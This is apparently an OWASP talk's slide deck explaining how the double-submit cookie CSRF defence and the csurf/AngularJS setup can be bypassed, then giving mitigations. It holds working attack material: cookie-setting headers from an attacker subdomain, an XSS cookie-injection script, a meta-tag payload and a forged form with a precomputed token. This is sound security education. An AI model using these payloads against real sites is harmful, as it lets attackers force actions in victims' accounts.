Bypassing CSRF Protections

A Double Defeat of the Double-Submit Cookie Pattern



OWASP The Open Web Application Security Project

About Me

Synopsys*



- David Johansson (@securitybits)
 - Security consultant since 2007
 - Helping clients design and build secure software
 - Security training
 - Based in London since 3 years, working for Cigital (now part of Synopsys)




CSRF Protection

DOUBLE-SUBMIT COOKIE PATTERN

Cross-site Request Forgery




- Attacker sends payload via victim's browser
- Browser automatically includes user's identity



Double-submit Cookie Pattern



• Simple CSRF protection – no server-side state



False Assumptions?

±

×



OWASP

The Open Web Application Security Project

💿 Cross-Site Request Forg∈ 🗙

🔶 🖸 🔒 Secure | https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sht 🖍 🔍 🛧

Double Submit Cookie

If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match.

When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id.

Cookies are different!

to save this value in any way, thus avoiding server side state. The site then

request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.

Cookie Fixation



• What if attacker can set the CSRF cookie..?

- Cookie fixation can be done through:
 - Exploiting subdomains
 - Man-in-the-middle HTTP connections



Double-submit Defeat #1:

EXPLOITING SUBDOMAINS

Malicious Subdomain



- Attacker controls <u>https://evil.example.com/</u>
- Subdomain sets cookie for parent domain
- Includes specific path

Response from https://evil.example.com:443/submit?a [127.0.0.1]
Forward Drop Intercept is on Action
Raw Headers Hex HTML Render
HTTP/1.1 404 Not Found X-Powered-By: Express
Set-cookie: _csrf=submit_path_and_parent_domain; Domain=example.com; Path=/submit; HttpOnly; Secure Content-Security-Policy: default-src 'self' X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 137 Date: Tue, 14 Mar 2017 16:05:37 GMT .
Connection: close

Malicious Subdomain



- Attacker now controls cookies sent to <u>https://www.example.com/submit</u>
- Attacker's CSRF cookie sent first due to longer path

Request to https://www.example.com:443 [127.0.0.1]	
Forward Drop Intercept is on Action	omment this iter
Raw Params Headers Hex	
POST /submit?_csrf=a-GePpmiVVNII39L6UB5Hh4t5-mj0 HTTP/1.1	
Host: www.example.com	
Connection: close	
Content-Length: 32	
Cache-Control: max-age=0	
Origin: http://localhost:8000	
Upgrade-Insecure-Requests: 1	
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/56.0.2924.76 Chrome/56.0.2924.76 Saf	ari/537.36
Content-Type: application/x-www-form-urlencoded	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8	
Referer: http://localhost:8000/CSRF2	
Accept - Language: en-GB.en-US:g=0.8.en;g=0.6	
Cookie: csrf=submit path and parent domain; csrf=zfz60KQfjeFmdryNd7CNlRn5; XSRF-TOKEN=92fNbs5M- DrBodjb22bgvoPbOJza6bsTo; name=unde	fined:
csrf=parent domain	
favorite=Audi&name=maliciousUser	

Vulnerable Subdomain



- Controlling all subdomains doesn't mean you're safe
- XSS in any subdomain can be exploited: <script>document.cookie = "_csrf=a; Path=/submit; domain=example.com";</script>
- So you're using CSP?

- Cookies can still be set through meta-tags ③
<meta http-equiv="set-cookie"
content="_csrf=a; Path=/submit;
domain=example.com">



Double-submit Defeat #2:

MAN-IN-THE-MIDDLE ATTACKS

Man-in-the-Middle Attacks



- HTTP origins can set cookies for HTTPS origins
- Even 'secure' cookies can be overwritten from HTTP responses*
- Attacker who MiTM any HTTP connection from victim can:
 - Overwrite CSRF cookie
 - Pre-empt CSRF cookie


*The new 'Strict Secure Cookie' specification will prevent this (<u>https://www.chromestatus.com/feature/4506322921848832</u>)

Overwrite CSRF Cookie



OWASP

The Open Web Application Security Project




Pre-empt CSRF Cookie



OWASP


The Open Web Application Security Project



Bypassing CSRF Protection



 After fixating CSRF cookie, attacker can create successful CSRF payload



Mitigations



- Additional defenses to strengthen doublesubmit cookie pattern:
 - HTTP Strict Transport Security (HSTS)
 - Cookie Prefixes ("___Host-" is the one you want)
 - Sign cookie
 - Bind cookie to user
 - Use custom HTTP header to send request token



This is not the token you're looking for...

ANGULAR & CSURF

AngularJS CSRF Protection



- AngularJS \$http service has built-in support to help prevent CSRF*
- Reads token from cookie (XSRF-TOKEN) and sets custom HTTP header (X-XSRF-TOKEN)
- Server needs to implement token validation
- Can be used as double-submit cookie pattern if server compares cookie value with HTTP header

*<u>https://blogs.synopsys.com/software-integrity/2017/02/24/angularjs-security-http-service/</u>

AngularJS & csurf



OWASP

The Open Web Application Security Project

csurf.js

```
const https = require('https');
const express = require('express');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const csurf = require('csurf');
const config = require('./app.conf');
const app = express();
app.use(cookieParser(config.secret));
app.use(csurf({cookie: {secure: true, httpOnly: true}}));
app.get('/myForm', function (req, res) {
 res.cookie('XSRF-TOKEN', req.csrfToken(), {secure: true});
  res.sendFile("myForm.html", {root: dirname});
1):
```

Default Value Function



OWASP

The Open Web Application Security Project

⇒ ¢	🔁 🗋 GitHub, Inc. [US] https://github.com/expressjs/csurf/blob/master/index.js 🖬
121	/**
122	* Default value function, checking the "req.body"
123	* and "req.query" for the CSRF token.
124	*
125	* @param {IncomingMessage} req
126	* @return {String}
127	* @api private
128	*/
129	
130	<pre>function defaultValue (req) {</pre>
131	return (req.body && req.bodycsrf)
132	(req.query && req.querycsrf)
133	(req.headers['csrf-token'])
134	(req.headers['xsrf-token'])
135	(req.headers['x-csrf-token'])
136	(req.headers['x-xsrf-token'])

Body and query parameters checked first!

Exploit Default Value Function



<h <f

3

OWASP

The Open Web Application Security Project

Response from https://evil.example.com:443/bogus [127.0.0.1]	
Forward Drop Intercept is on Action	
Raw Headers HEX HTML Render HTTP/1.1 404 Not Found	
X Powered By: Express βet-cookie: _csrf=a; Path=/submit; Domain=example.com; HttpOnly; Secure Content-Security-Policy: default-src_'self'	
X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Content-Length: 136 Date: Wed, 15 Mar 2017 13:14:22 GMT Connection: close	
xsrF_form2.html	
>CSRF form sent from attacker, with pre-calculate CSRF token for the secret 'a'! orm action=" <u>https://www.example.com/submit?_csrf=a-GePpmiVVNII39L6UB5Hh4t5-mj0</u> " method="post	">
input type="hidden" name="name" value="Viciim">	
input type="hidden" name="email" value="attacker@example.com"> br> <input type="submit" value="Click me to win \$100"/> orm>	

CSRF Defense Bypassed

Specify Custom Value Function



OWASP

The Open Web Application Security Project

csurf.js

```
const https = require('https');
const express = require('express');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const csurf = require('csurf');
const config = require('./app.conf');
const app = express();
app.use(cookieParser(config.secret));
function customValueFunction (req) {
  return req.headers['x-xsrf-token']; //Only accept token from header
app.use(csurf({cookie: {secure: true, httpOnly: true, signed: true},
  value: customValueFunction }));
app.get('/myForm', function (req, res) {
  res.cookie('XSRF-TOKEN', req.csrfToken(), {secure: true});
  res.sendFile("myForm.html", {root: dirname});
```



- Double-submit Cookie Pattern based on partially incorrect assumptions
- Integrity protection of cookies is very weak

Summary

- Attackers can often force cookies upon other users
- Be careful which token you validate against
- Additional mitigations often required to strengthen the defense

Thank You!



Questions?

@securitybits